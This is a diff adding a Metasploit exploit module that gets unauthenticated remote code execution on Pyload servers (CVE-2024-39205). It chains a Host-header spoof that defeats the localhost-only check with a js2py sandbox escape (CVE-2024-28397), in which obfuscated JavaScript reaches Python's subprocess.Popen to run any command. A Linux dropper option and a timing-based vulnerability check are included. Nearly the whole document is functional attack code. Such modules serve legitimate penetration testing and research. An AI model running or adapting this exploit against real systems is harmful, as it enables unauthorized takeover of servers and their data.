|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/stopwatch' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + prepend Msf::Exploit::Remote::AutoCheck |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::CmdStager |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super( |
| 18 | + update_info( |
| 19 | + info, |
| 20 | + 'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)', |
| 21 | + 'Description' => %q{ |
| 22 | + CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate |
| 23 | + javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference |
| 24 | + to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions |
| 25 | + and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 |
| 26 | + is the latest version of js2py which was released Nov 6, 2022. |
| 27 | +
|
| 28 | + CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source |
| 29 | + download manager designed to automate file downloads from various online sources. Pyload is vulnerable because |
| 30 | + it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. |
| 31 | + This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we |
| 32 | + can bypass this restriction in order to access the API to achieve unauth RCE. |
| 33 | + }, |
| 34 | + 'Author' => [ |
| 35 | + 'Marven11', # PoC |
| 36 | + 'Spencer McIntyre', # Previous pyLoad module which this is based on |
| 37 | + 'jheysel-r7' # Metasploit module |
| 38 | + ], |
| 39 | + 'References' => [ |
| 40 | + [ 'CVE', '2024-39205' ], |
| 41 | + [ 'CVE', '2024-28397' ], |
| 42 | + [ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ], |
| 43 | + [ 'URL', 'https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g' ], |
| 44 | + [ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ], |
| 45 | + ], |
| 46 | + 'DisclosureDate' => '2024-10-28', |
| 47 | + 'License' => MSF_LICENSE, |
| 48 | + 'Platform' => %w[unix linux], |
| 49 | + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], |
| 50 | + 'Privileged' => true, |
| 51 | + 'Targets' => [ |
| 52 | + [ |
| 53 | + 'Unix Command', |
| 54 | + { |
| 55 | + 'Platform' => %w[unix linux], |
| 56 | + 'Arch' => ARCH_CMD, |
| 57 | + 'Type' => :unix_cmd |
| 58 | + } |
| 59 | + ], |
| 60 | + [ |
| 61 | + 'Linux Dropper', |
| 62 | + { |
| 63 | + 'Platform' => 'linux', |
| 64 | + 'Arch' => [ARCH_X86, ARCH_X64], |
| 65 | + 'Type' => :linux_dropper |
| 66 | + } |
| 67 | + ], |
| 68 | + ], |
| 69 | + 'DefaultTarget' => 0, |
| 70 | + 'Notes' => { |
| 71 | + 'Stability' => [CRASH_SAFE], |
| 72 | + 'Reliability' => [REPEATABLE_SESSION], |
| 73 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] |
| 74 | + } |
| 75 | + ) |
| 76 | + ) |
| 77 | + |
| 78 | + register_options([ |
| 79 | + Opt::RPORT(9666), |
| 80 | + OptString.new('TARGETURI', [true, 'Base path', '/']) |
| 81 | + ]) |
| 82 | + end |
| 83 | + |
| 84 | + def check |
| 85 | + sleep_time = rand(5..10) |
| 86 | + |
| 87 | + _, elapsed_time = Rex::Stopwatch.elapsed_time do |
| 88 | + execute_command("sleep #{sleep_time}") |
| 89 | + end |
| 90 | + |
| 91 | + vprint_status("Elapsed time: #{elapsed_time} seconds") |
| 92 | + |
| 93 | + unless elapsed_time > sleep_time |
| 94 | + return CheckCode::Safe('Failed to test command injection.') |
| 95 | + end |
| 96 | + |
| 97 | + CheckCode::Vulnerable('Successfully tested command injection.') |
| 98 | + rescue Msf::Exploit::Failed |
| 99 | + return CheckCode::Safe('Failed to test command injection.') |
| 100 | + end |
| 101 | + |
| 102 | + def exploit |
| 103 | + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") |
| 104 | + |
| 105 | + case target['Type'] |
| 106 | + when :unix_cmd |
| 107 | + if execute_command(payload.encoded) |
| 108 | + print_good("Successfully executed command: #{payload.encoded}") |
| 109 | + end |
| 110 | + when :linux_dropper |
| 111 | + execute_cmdstager |
| 112 | + end |
| 113 | + end |
| 114 | + |
| 115 | + def javascript_payload(cmd) |
| 116 | + js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript }) |
| 117 | + |
| 118 | + js = <<~EOS |
| 119 | + let #{js_vars[:command]} = "#{cmd}" |
| 120 | + let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]} |
| 121 | + let #{js_vars[:getattr]}, #{js_vars[:obj]} |
| 122 | +
|
| 123 | + #{js_vars[:base]} = '__base__' |
| 124 | + #{js_vars[:getattribute]} = '__getattribute__' |
| 125 | + #{js_vars[:hacked]} = Object.getOwnPropertyNames({}) |
| 126 | + #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}] |
| 127 | + #{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__") |
| 128 | + #{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}] |
| 129 | + #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}] |
| 130 | + #{js_vars[:sub_class]} = '__subclasses__'; |
| 131 | +
|
| 132 | + function #{js_vars[:findpopen]}(#{js_vars[:o]}) { |
| 133 | + let #{js_vars[:result]}; |
| 134 | + for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) { |
| 135 | + let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}] |
| 136 | + if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") { |
| 137 | + return #{js_vars[:item]} |
| 138 | + } |
| 139 | + if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) { |
| 140 | + return #{js_vars[:result]} |
| 141 | + } |
| 142 | + } |
| 143 | + } |
| 144 | +
|
| 145 | + #{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate() |
| 146 | + EOS |
| 147 | + |
| 148 | + opts = { 'Strings' => true } |
| 149 | + |
| 150 | + js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) |
| 151 | + js.obfuscate(memory_sensitive: true) |
| 152 | + js.to_s |
| 153 | + end |
| 154 | + |
| 155 | + def execute_command(cmd, _opts = {}) |
| 156 | + cmd.gsub!(/\\/, '\\\\\\\\') |
| 157 | + cmd.gsub!(/"/, '\"') |
| 158 | + vprint_status("Executing command: #{cmd}") |
| 159 | + crypted_b64 = Rex::Text.encode_base64(rand(4)) |
| 160 | + |
| 161 | + res = send_request_cgi( |
| 162 | + 'method' => 'POST', |
| 163 | + 'headers' => { |
| 164 | + 'Host' => "127.0.0.1:#{datastore['RPORT']}" |
| 165 | + }, |
| 166 | + 'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'), |
| 167 | + 'vars_post' => { |
| 168 | + 'crypted' => crypted_b64, |
| 169 | + 'jk' => javascript_payload(cmd) |
| 170 | + } |
| 171 | + ) |
| 172 | + |
| 173 | + # The command will either cause the response to timeout or return a 500 |
| 174 | + return if res.nil? |
| 175 | + return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :(' |
| 176 | + |
| 177 | + fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}") |
| 178 | + end |
| 179 | + |
| 180 | +end |
0 commit comments